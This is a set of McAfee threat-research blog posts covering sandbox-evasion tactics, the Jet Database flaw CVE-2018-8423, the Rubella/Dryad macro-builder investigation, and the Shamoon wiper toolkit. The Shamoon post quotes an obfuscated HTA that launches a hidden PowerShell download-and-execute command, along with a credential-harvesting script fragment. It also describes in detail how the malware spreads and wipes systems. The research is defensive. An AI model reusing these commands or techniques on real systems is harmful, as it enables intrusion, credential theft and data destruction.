Thomas Roccia – McAfee Blogs Securing Tomorrow. Today. Mon, 09 Sep 2019 19:05:58 +0000 en-US hourly 1 Thomas Roccia – McAfee Blogs 32 32 Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study Mon, 09 Sep 2019 19:05:58 +0000

Executive Summary Malware evasion techniques are widely used to circumvent detection as well as analysis and understanding. One of the dominant categories of evasion is anti-sandbox detection, simply because today’s sandboxes are becoming the fastest and easiest way to have an overview of the threat. Many companies use these kinds of systems to detonate malicious […]

The post Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study appeared first on McAfee Blogs.


Executive Summary

Malware evasion techniques are widely used to circumvent detection as well as analysis and understanding. One of the dominant categories of evasion is anti-sandbox detection, simply because today’s sandboxes are becoming the fastest and easiest way to have an overview of the threat. Many companies use these kinds of systems to detonate malicious files and URLs found, to obtain more indicators of compromise to extend their defenses and block other related malicious activity. Nowadays we understand security as a global process, and sandbox systems are part of this ecosystem, and that is why we must take care with the methods used by malware and how we can defeat it.

Historically, sandboxes had allowed researchers to visualize the behavior of malware accurately within a short period of time. As the technology evolved over the past few years, malware authors started producing malicious code that delves much deeper into the system to detect the sandboxing environment.

As sandboxes became more sophisticated and evolved to defeat the evasion techniques, we observed multiple strains of malware that dramatically changed their tactics to remain a step ahead. In the following sections, we look back on some of the most prevalent sandbox evasion techniques used by malware authors over the past few years and validate the fact that malware families extended their code in parallel to introducing more stealthier techniques.

The following diagram shows one of the most prevalent sandbox evasion tricks we will discuss in this blog, although many others exist.

Delaying Execution

Initially, several strains of malware were observed using timing-based evasion techniques [latent execution], which primarily boiled down to delaying the execution of the malicious code for a period using known Windows APIs like NtDelayExecution, CreateWaitTableTImer, SetTimer and others. These techniques remained popular until sandboxes started identifying and mitigating them.


As sandboxes identified malware and attempted to defeat it by accelerating code execution, it resorted to using acceleration checks using multiple methods. One of those methods, used by multiple malware families including Win32/Kovter, was using Windows API GetTickCount followed by a code to check if the expected time had elapsed. However, we observed several variations of this method across malware families.

This anti-evasion technique could be easily bypassed by the sandbox vendors simply creating a snapshot with more than 20 minutes to have the machine running for more time.

API Flooding

Another approach that subsequently became more prevalent, observed with Win32/Cutwail malware, is calling the garbage API in the loop to introduce the delay, dubbed API flooding. Below is the code from the malware that shows this method.



Inline Code

We observed how this code resulted in a DOS condition since sandboxes could not handle it well enough. On the other hand, this sort of behavior is not too difficult to detect by more involved sandboxes. As they became more capable of handling the API based stalling code, yet another strategy to achieve a similar objective was to introduce inline assembly code that waited for more than 5 minutes before executing the hostile code. We found this technique in use as well.

Sandboxes are now much more capable and armed with code instrumentation and full system emulation capabilities to identify and report the stalling code. This turned out to be a simplistic approach which could sidestep most of the advanced sandboxes. In our observation, the following depicts the growth of the popular timing-based evasion techniques used by malware over the past few years.

Hardware Detection

Another category of evasion tactic widely adopted by malware was fingerprinting the hardware, specifically a check on the total physical memory size, available HD size / type and available CPU cores.

These methods became prominent in malware families like Win32/Phorpiex, Win32/Comrerop, Win32/Simda and multiple other prevalent ones. Based on our tracking of their variants, we noticed Windows API DeviceIoControl() was primarily used with specific Control Codes to retrieve the information on Storage type and Storage Size.

Ransomware and cryptocurrency mining malware were found to be checking for total available physical memory using a known GlobalMemoryStatusEx () trick. A similar check is shown below.

Storage Size check:

Illustrated below is an example API interception code implemented in the sandbox that can manipulate the returned storage size.

Subsequently, a Windows Management Instrumentation (WMI) based approach became more favored since these calls could not be easily intercepted by the existing sandboxes.

Here is our observed growth path in the tracked malware families with respect to the Storage type and size checks.

CPU Temperature Check

Malware authors are always adding new and interesting methods to bypass sandbox systems. Another check that is quite interesting involves checking the temperature of the processor in execution.

A code sample where we saw this in the wild is:

The check is executed through a WMI call in the system. This is interesting as the VM systems will never return a result after this call.

CPU Count

Popular malware families like Win32/Dyreza were seen using the CPU core count as an evasion strategy. Several malware families were initially found using a trivial API based route, as outlined earlier. However, most malware families later resorted to WMI and stealthier PEB access-based methods.

Any evasion code in the malware that does not rely on APIs is challenging to identify in the sandboxing environment and malware authors look to use it more often. Below is a similar check introduced in the earlier strains of malware.

There are number of ways to get the CPU core count, though the stealthier way was to access the PEB, which can be achieved by introducing inline assembly code or by using the intrinsic functions.

One of the relatively newer techniques to get the CPU core count has been outlined in a blog, here. However, in our observations of the malware using CPU core count to evade automated analysis systems, the following became adopted in the outlined sequence.

User Interaction

Another class of infamous techniques malware authors used extensively to circumvent the sandboxing environment was to exploit the fact that automated analysis systems are never manually interacted with by humans. Conventional sandboxes were never designed to emulate user behavior and malware was coded with the ability to determine the discrepancy between the automated and the real systems. Initially, multiple malware families were found to be monitoring for Windows events and halting the execution until they were generated.

Below is a snapshot from a Win32/Gataka variant using GetForeGroundWindow and checking if another call to the same API changes the Windows handle. The same technique was found in Locky ransomware variants.

Below is another snapshot from the Win32/Sazoora malware, checking for mouse movements, which became a technique widely used by several other families.

Malware campaigns were also found deploying a range of techniques to check historical interactions with the infected system. One such campaign, delivering the Dridex malware, extensively used the Auto Execution macro that triggered only when the document was closed. Below is a snapshot of the VB code from one such campaign.

The same malware campaign was also found introducing Registry key checks in the code for MRU (Most Recently Used) files to validate historical interactions with the infected machine. Variations in this approach were found doing the same check programmatically as well.

MRU check using Registry key: \HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU

Programmatic version of the above check:

Here is our depiction of how these approaches gained adoption among evasive malware.

Environment Detection

Another technique used by malware is to fingerprint the target environment, thus exploiting the misconfiguration of the sandbox. At the beginning, tricks such as Red Pill techniques were enough to detect the virtual environment, until sandboxes started to harden their architecture. Malware authors then used new techniques, such as checking the hostname against common sandbox names or the registry to verify the programs installed; a very small number of programs might indicate a fake machine. Other techniques, such as checking the filename to detect if a hash or a keyword (such as malware) is used, have also been implemented as has detecting running processes to spot potential monitoring tools and checking the network address to detect blacklisted ones, such as AV vendors.

Locky and Dridex were using tricks such as detecting the network.

Using Evasion Techniques in the Delivery Process

In the past few years we have observed how the use of sandbox detection and evasion techniques have been increasingly implemented in the delivery mechanism to make detection and analysis harder. Attackers are increasingly likely to add a layer of protection in their infection vectors to avoid burning their payloads. Thus, it is common to find evasion techniques in malicious Word and other weaponized documents.

McAfee Advanced Threat Defense

McAfee Advanced Threat Defense (ATD) is a sandboxing solution which replicates the sample under analysis in a controlled environment, performing malware detection through advanced Static and Dynamic behavioral analysis. As a sandboxing solution it defeats evasion techniques seen in many of the adversaries. McAfee’s sandboxing technology is armed with multiple advanced capabilities that complement each other to bypass the evasion techniques attempted to the check the presence of virtualized infrastructure, and mimics sandbox environments to behave as real physical machines. The evasion techniques described in this paper, where adversaries widely employ the code or behavior to evade from detection, are bypassed by McAfee Advanced Threat Defense sandbox which includes:

  • Usage of windows API’s to delay the execution of sample, hard disk size, CPU core numbers and other environment information .
  • Methods to identify the human interaction through mouse clicks , keyboard strokes , Interactive Message boxes.
  • Retrieval of hardware information like hard disk size , CPU numbers, hardware vendor check through registry artifacts.
  • System up time to identify the duration of system alive state.
  • Check for color bit and resolution of Windows .
  • Recent documents and files used.

In addition to this, McAfee Advanced Threat Defense is equipped with smart static analysis engines as well as machine-learning based algorithms that play a significant detection role when samples detect the virtualized environment and exit without exhibiting malware behavior. One of McAfee’s flagship capability, the Family Classification Engine, works on assembly level and provides significant traces once a sample is loaded in memory, even though the sandbox detonation is not completed, resulting in enhanced detection for our customers.


Traditional sandboxing environments were built by running virtual machines over one of the available virtualization solutions (VMware, VirtualBox, KVM, Xen) which leaves huge gaps for evasive malware to exploit.

Malware authors continue to improve their creations by adding new techniques to bypass security solutions and evasion techniques remain a powerful means of detecting a sandbox. As technologies improve, so also do malware techniques.

Sandboxing systems are now equipped with advanced instrumentation and emulation capabilities which can detect most of these techniques. However, we believe the next step in sandboxing technology is going to be the bare metal analysis environment which can certainly defeat any form of evasive behavior, although common weaknesses will still be easy to detect.

The post Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study appeared first on McAfee Blogs.

]]> 0
Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423 Tue, 30 Jul 2019 15:53:30 +0000

In September 2018, the Zero Day Initiative published a proof of concept for a vulnerability in Microsoft’s Jet Database Engine. Microsoft released a patch in October 2018. We investigated this flaw at that time to protect our customers. We were able to find some issues with the patch and reported that to Microsoft, which resulted […]

The post Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423 appeared first on McAfee Blogs.


In September 2018, the Zero Day Initiative published a proof of concept for a vulnerability in Microsoft’s Jet Database Engine. Microsoft released a patch in October 2018. We investigated this flaw at that time to protect our customers. We were able to find some issues with the patch and reported that to Microsoft, which resulted in another vulnerability, CVE-2019-0576, which was fixed on 8-Jan-2018 (Microsoft Jan 2019 Patch Tuesday).

The vulnerability exploits the Microsoft Jet Database Engine, a component used in many Microsoft applications, including Access. The flaw allows an attacker to execute code to escalate privileges or to download malware. We do not know if the vulnerability is used in any attacks; however, the proof of concept code is widely available.


To exploit this vulnerability, an attacker needs to use social engineering techniques to convince a victim to open a JavaScript file which uses an ADODB connection object to access a malicious Jet Database file. Once the malicious Jet database file is accessed, it calls the vulnerable function in msrd3x40.dll which can lead to exploitation of this vulnerability.

Although the available proof of concept causes a crash in wscript.exe, any application using this DLL is susceptible to the attack.

The following error message indicates the vulnerability was successfully triggered:

The message shows an access violation occurred in the vulnerable DLL. This vulnerability is an “out-of-bounds write,” which can be triggered via OLE DB, the API used to access data in many Microsoft applications. This type of vulnerability indicates that data can be written outside of the intended buffer, resulting in a crash. The cause of the crash is the maliciously crafted Jet database file. The file exploits an index field in the Jet database file format with an unexpectedly large number, resulting in an out-of-bounds write and, ultimately, the preceding crash.

The following diagram provides a high-level view of how the exploit works:

Exploit in Action

The proof of concept code contains one JavaScript file (poc.js), which calls a second file (group1). This is the Jet database file. By running poc.js through wscript.exe, we can trigger the crash.

As we see in the preceding image, we can review debug information to determine the function that crashes is “msrd3x40!TblPage::CreateIndexes.” Furthermore, we can determine that the program is trying to write data and failing. Specifically, we can see that the program is using the “esi” register to write to the location [edx+ecx*4+574h], but that location is not accessible.

We need to understand how this location is constructed to provide clues to the root cause. The debug information shows that register ecx contains the value 0x00002300. Edx is a pointer to memory that we will see again later. Finally, they are added together with an offset of 574 hexadecimal bytes to reference the memory location. From this information, we can guess the type of data that is stored there. It appears to be an array in which each variable is 4 bytes long and starts at the location edx+574h. While tracking the program, we determined the value 0x00002300 comes from the proof-of-concept file group1.

We know that the program attempts to write out of bounds and we know where the attempt occurs. Now we need to determine why the program attempts to write at that location. We investigate the user-provided data of 0x00002300 to understand its purpose. To do this we must understand the Jet database file.

Analyzing the Jet Database File

Many researchers have extensively analyzed the Jet database file structure. Some of the details of previous work can be found at the following links:

To summarize, a Jet database file is organized as a collection of pages, as shown in the following image:

The header page contains various information related to the file:

After the header come 126 bytes, RC4 encrypted, with the specific key 0x6b39dac7, which is the same for every JetDB file. Comparing the key value with the proof-of-concept file, we can identify that group1 is a Jet Version 3 file.

Further examination leads to a Table Definition Pages section, which describes various data structures for a table. (Click here for details.)

The table definition data has various fields, including two of note: Index Count and Real Index Count.

We can determine the value of these in our proof-of-concept file. When we check this with the group1 file, we see following:

There are total of two indexes in the Index Count. When we parse both indexes we see the familiar value of 0x00002300:

Our offending value 0x00230000 is the index number for index2 in the table. This index seems rather large and leads to the crash. Why does it crash the program? Further parsing the file, we find the names of the two indexes:


With a debugger attached, we can see that first program calls the function “msrd3x40!operator new.” This allocates memory that stores the memory pointer address in eax:

After the memory is allocated, the program creates the new index:

This index number is used later in the execution. The function msrd3x40!Index::Restore copies that index number to the index address + 24h. This process is repeated in a loop for all indexes. First it calls the “new” operator, which allocates the memory. It then creates an index on that address and moves the index number to the base address of the index +24h. We see this move in the following code, which shows the malicious index value copied to newly created index:

Once successfully moved, the function msrd3x40!NamedObject::Rename is called and copies the index name value to the index address +40h:

If we look at the esi register, we see it points to the address of the index. The ecx register has a value of [esi+24h], which is the index number:

After a few more instructions, we can observe the original crash instructions. Edx points to the memory location. Ecx contains a very large number from the file group1. The program tries to access memory at location [edx+ecx*4+574h], which will cause the out-of-bounds write and the program crashes:

What is happening with the data the program tries to write? If we watch the instructions, we see that program tries to write the value of esi to [edx+ecx*4+574]. If we print esi or the previous value, we see that it contains the index name ParentIdName, which we saw in group1:


Ultimately, the program crashes while trying to process ParentIDName with a very large index number. The logic:

  • Allocate the memory and get the pointer to the start of the memory location.
  • From the start of memory location +574h, the program saves pointers to index names with each occupying 4 bytes multiplied by the index number mentioned in the file.

If the index number is very large, as in this case, and no validation is done, then the program will try to write out of bounds and crash.


This is a logic error and such errors are sometimes hard to catch. Many developers take extra precautions to avoid these types of bugs in their code. It is even more unfortunate when these bugs lead to serious security issues such as with CVE-2018-8423. When these issues are discovered and patched, we recommend applying the vendor patch as soon as possible to reduce your security risks.

Microsoft patches can be downloaded and installed from the following locations for respective CVEs:



McAfee Detection:

McAfee Network Security Platform customers are protected from this vulnerability by Signature IDs 0x45251700 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8423) and 0x4525890 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2019-0576).

McAfee AV detects malicious file as BackDoor-DKI.dr .

McAfee HIPS, GBOP (Generic Buffer Overflow Protection) feature might cover this, depending on the process used to exploit the vulnerability.

We thank Steve Povolny of McAfee’s Advanced Threat Research team, and Bing Sun and Imran Ebrahim of McAfee’s Hybrid Gateway Security team for their support and guidance with this analysis.



The post Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423 appeared first on McAfee Blogs.

]]> 0
McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect Wed, 17 Jul 2019 04:00:56 +0000

Everyday thousands of people receive emails with malicious attachments in their email inbox. Disguised as a missed payment or an invoice, a cybercriminal sender tries to entice a victim to open the document and enable the embedded macro. This macro then proceeds to pull in a whole array of nastiness and infect a victim’s machine. […]

The post McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect appeared first on McAfee Blogs.


Everyday thousands of people receive emails with malicious attachments in their email inbox. Disguised as a missed payment or an invoice, a cybercriminal sender tries to entice a victim to open the document and enable the embedded macro. This macro then proceeds to pull in a whole array of nastiness and infect a victim’s machine. Given the high success rate, malicious Office documents remain a preferred weapon in a cyber criminal’s arsenal. To take advantage of this demand and generate revenue, some criminals decided to create off-the-shelf toolkits for building malicious Office documents. These toolkits are mostly offered for sale on underground cybercriminal forums.

Announced today, the Dutch National High-Tech Crime Unit (NHTCU) arrested an individual suspected of building and selling such a criminal toolkit named the Rubella Macro Builder. McAfee Advanced Threat Research spotted the Rubella toolkit in the wild some time ago and was able to provide NHTCU with insights that proved crucial in its investigation. In the following blog we will explain some of the details we found that helped unmask the suspected actor behind the Rubella Macro Builder.

What is an Office Macro Builder?

An Office Macro Builder is a toolkit designed to weaponize an Office document so it can deliver a malicious payload by the use an obfuscated macro code that purposely tries to bypass endpoint security defenses. By using a toolkit dedicated to this purpose, an actor can push out higher quantities of malicious documents and successfully outsource the first stage evasion and delivery process to a specialized third party. Below is an overview with the general workings of an Office Macro Builder. The Defense evasion shown here is specific to Rubella Office Macro Builder. Additional techniques can be found in other builders.

Dutch Language OpSec fail….

Rubella Macro Builder is such a toolkit and was offered by an actor by the same nickname “Rubella”. The toolkit was marketed with colorful banners on different underground forums. For the price of 500 US Dollars per month you could use his toolkit to weaponize Office documents that bypass end-point security systems and deliver a malicious payload or run a PowerShell Code of your choice.

Rubella advertisement banner

In one of Rubella’s forum postings the actor was detailing the toolkit and that it managed to bypass the Windows Anti Malware Scan Interface (AMSI) present in Windows 10. To prove this success, the post contained a link to a screenshot. Being a Dutch researcher, this screenshot immediately stood out because of the Dutch version of Microsoft Word that was used. Dutch is a very uncommon language, only a small percentage of the world’s population speaks it, let alone an even smaller percentage of cybercriminals who use it.

The linked screenshot with the Dutch version of Microsoft Word.

Interestingly enough we reported last year on the individuals behind Coinvault ransomware. One of the reasons they got caught was the use of flawless Dutch in their code. With this in the back of our minds we decided to go deeper down the rabbit hole.

Forum Research

We looked further into the large amount of posts by Rubella to learn more about the person behind the builder. The actor Rubella was actually promoting a variety of different, some self-written, products and services, ranging from (stolen) credit card data, a crypto wallet stealer and a malicious loader software to a newly pitched product called Tantalus ransomware-as-a-service.

During our research we were able to link different nicknames used by the actor on several forums across a timespan of many years. Piecing it all together, Rubella showed a classic growth pattern of an aspiring cybercriminal, started by gaining technical security knowledge on beginner forums with low op-sec and gradually moved to some of the bigger, exclusive forums to offer products and services.

PDB path Breitling

One of the posts Rubella placed on a popular hacker forum was promoting a piece of free software the actor coded to spoof email. The posting contained a link to VirusTotal and included a SHA-256 hash of the software. This gained our interest since it provided a possibility to link the adversary to the capability.

Email spoofer posting including the VirusTotal link 

Closer examination of the piece of software on VirusTotal showed that the mail Spoofer contained a debug or PDB path “C:\Users\Breitling”. Even though the username Breitling isn’t very revealing about an actual person, leaving such a specific PDB path within malware is a classic mistake.

By pivoting on the specific PDB path we found additional samples on VirusTotal, including a file that was named RubellaBuilder.exe, which was a version of the Macro builder that Rubella was offering. Later in the blog post we will take a closer look at the builder itself.

Finding additional samples with the Breitling PDB path

Since Breitling was most likely the username used on the development machine, we were wondering if we could find Office documents that were crafted on the same machine and thus also containing the author name Breitling. We found an Office document with Breitling as author and the document happened to be created with a Dutch version of Microsoft Word.

The Word document containing the author name Breitling.

Closer inspection of the content of the Word document revealed that it also contained a string with the familiar Jabber account of Rubella; Rubella(@)

The Malicious document containing the string with the actor’s jabber account.

Circling back to the forums we found an older posting under one of the nicknames we could link to Rubella. In this posting the actor is asking for advice on how to add a registry key using C#. They placed another screenshot to show the community what they were doing. This behavior clearly shows a lack of skill but at the same time his thirst for knowledge.

Older posting where the actor asks for help.

A closer look at the screenshot revealed the same PDB path C:\Users\Breitling\.

Screenshot with the Breitling PDB path

Chatting with Rubella

Since Rubella was quite extroverted on the underground forums and had stated Jabber contact details in advertisements we decided to carefully initiate contact with him in the hope that we would get access to some more information. About a week after we added Rubella to our Jabber contact list, we received a careful “Hi.” We started talking and posing as a potential buyer, carefully mentioning our interest the Rubella Macro Builder. During this chat Rubella was quite responsive and as a real businessperson, mentioned that he was offering a new “more exclusive” Macro Builder named Dryad. Rubella proceeded to share a screenshot of Dryad with us.

Screenshot of Dryad shared by Rubella

 Eventually we ended our conversation in a friendly manner and told Rubella we would be in touch if we remained interested.

Dryad Macro Builder

Based on the information provided from the chat with Rubella we performed a quick search for Dryad Macro Builder. We eventually found a sample of the Dryad Macro Builder and decided to further analyze this sample and compare it for overlap with the Rubella Macro Builder.

PE Summary

We noticed that the program was coded in .NET Assembly which is usually a preferred language for less skilled malware coders.

Dynamic Analysis

When we ran the application, it asked us to enter a login and password in order to run.

We also noticed a number-generated HWID (Hardware-ID) that was always the same when running the app. The HWID number is a unique identifier specific to the machine it was running on and was used to register the app.

When trying to enter a random name we detected a remote connection to the website ‘hxxps://’ to verify the license.

The request is made with the following parameters ‘hwid=<HWID>&username=<username>&password=<password>’.

Once the app is running and registered it shows the following interface.

In this interface it is possible to see the function proposed by the app and it was similar to the screenshot that was shared during our chat.

Basically, the tool allows the following:

  • Download and execute a malicious executable from an URL
  • Execute a custom command
  • Type of payload can be exe, jar, vbs, pif, scr
  • Modify the dropped filename
  • Load a stub for increase obfuscation
  • Generate a Word or Excel document

It contains an Anti-virus Evasion tab:

  • Use encryption and modify the encryption key
  • Add junk code
  • Add loop code

It also contains a tab which is still in development:

  • Create Jscript or VBscript
  • Download and execute
  • Payload URL
  • Obfuscation with base64 and AMSI bypass which are not yet developed.

Reverse Engineering

The sample is coded in .Net without any obfuscation. We can see in the following screenshot the structure of the file.

Additionally, it uses the Bunifu framework for the graphic interface. (

Main function

The main function launches the interface with the pre-configuration options. We can see here the link to putty.exe (also visible in the screenshots) for the payload that needs to be changed by the user.

Instead of running an executable, it is also possible to run a command.

By default, the path for the stub is the following:

We can clearly see here a link with Rubella.

Licensing function

To use the program, it requires a license, that the user has to enter from the login form.

The following function shows the login form.

To validate the license the program will perform some check and combine a Hardware ID, a username and a password.

The following function generates the hardware id.

It gets information from ‘Win32_Processor class’ to generate the ID.

It collects information from:

  • UniqueId: Globally unique identifier for the processor. This identifier may only be unique within a processor family.
  • ProcessorId: Processor information that describes the processor features.
  • Name: This value comes from the Processor Version member of the Processor Information structure in the SMBIOS information.
  • Manufacturer: This value comes from the Processor Manufacturer member of the Processor Information structure.
  • MaxClockSpeed: Maximum speed of the processor, in MHz.

Then it will collect information from the ‘Win32_BIOS class’.

  • Manufacturer: This value comes from the Vendor member of the BIOS Information structure.
  • SMBIOSVersion: This value comes from the BIOS Version member of the BIOS Information structure
  • IdentificationCode: Manufacturer’s identifier for this software element.
  • SerialNumber: Assigned serial number of the software element.
  • ReleaseDate: Release date of the Windows BIOS in the Coordinated Universal Time (UTC) format of YYYYMMDDHHMMSS.MMMMMM(+-)OOO.
  • Version: Version of the BIOS. This string is created by the BIOS manufacturer.

Then it will collect information from the ‘Win32_DiskDrive class’.

  • Model: Manufacturer’s model number of the disk drive.
  • Manufacturer: Name of the disk drive manufacturer.
  • Signature: Disk identification. This property can be used to identify a shared resource.
  • TotalHead: Total number of heads on the disk drive.

Then it will collect information from the ‘Win32_BaseBoard class’.

  • Model: Name by which the physical element is known.
  • Manufacturer: Name of the organization responsible for producing the physical element.
  • Name,
  • SerialNumber

Then it will collect information from the ‘Win32_VideoController class’.

  • DriverVersion
  • Name

With all that hardware information collected it will generate a hash that will be the unique identifier.

This hash, the username and password will be sent to the server to verify if the license is valid. In the source code we noticed the domain again.

Generate Macro

To generate a macro the builder is using several parts. The format function shows how each file structure is generated.

The structure is the following:

To save the macro in the malicious doc it uses the function ‘SaveMacro’:

Evasion Techniques

Additionally, it generates random code to obfuscate the content and adds junk code.

The function GenRandom is used to generate random strings, chars as well as numbers. It is used to obfuscate the macro generated.

It also uses a Junk Code function to add junk code into the document:

For additional obfuscation it uses XOR encryption as well as Base64.

Write Macro

Finally, the function WriteMacro, writes the content previously configured:


Under construction

We did also notice that the builder uses additional functions that were still under development, as we can see with the “Script Generator” tab.

A message is printed when we click on it and that indicates it is still a function in development.

Additionally, we can see the “Decoy Option” tab which is just a template to create another tab. The tab does not show anything. It seems the author left this tab to create another one.

Rubella Similarities

Dryad is very similar to the Rubella Builder; many hints present in the code confirm the conversation we had with Rubella. Unlike Rubella, Dryad did have a scrubbed PDB path.

Both Rubella builder and Dryad Builder are using the Bunifu framework for the graphic design.

The license check is also the same function, using the domain, Below is the license check function from the Rubella builder: Analysis

We analyzed the server used to register the builder and discovered additional samples:

Most of these samples were Word documents generated with the builder.

A quick search into the domain Tailoredtaboo showed that it had several subdomains, including a control panel on a subdomain named

The cPanel subdomain had the following login screen in the Dutch language.

The domain has been linked to malicious content in the past. On Twitter the researcher @nullcookies reported in April 2018 that he found some malicious files hosted on the specific domain. In the directory listing of the main domain there were several files also mentioning the name Rubella. mentioned on Twitter


Based on all the references, and the way the domain was used, we believe that the domain plays a central administrative role for both Rubella and Dryad Macro Builder and can provide insight into the customers of both Macro Builders


Toolkits that build weaponized Office documents, like Dryad and Rubella, cater to the increasing cybercriminal demand of this type of infection vector. With the arrest of the suspect comes an end to the era of Dryad and Rubella Macro Builder. Based on his activity, the suspect looked like quite the cybercriminal entrepreneur, but given his young age this is also a worrisome thought. If only he would have used his skills for good. The lure of quick cash was apparently more enticing than building a solid long-term career. We at McAfee never like to see young talented individuals heading down a dark path.

Indicators of Compromise

URL / Website:


Hash Builder:

  • Dryad: 7d1603f815715a062e18ae56ca53efbaecc499d4193ea44a8aef5145a4699984
  • Rubella: 2a20d3d9ac4dc74e184676710a4165c359a56051c7196ca120fcf8716b7c21b9

Hash related samples:















The post McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect appeared first on McAfee Blogs.

]]> 0
Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems Wed, 19 Dec 2018 21:45:13 +0000

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.


Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack


How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)


zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘*****.ps1’)‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}




With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

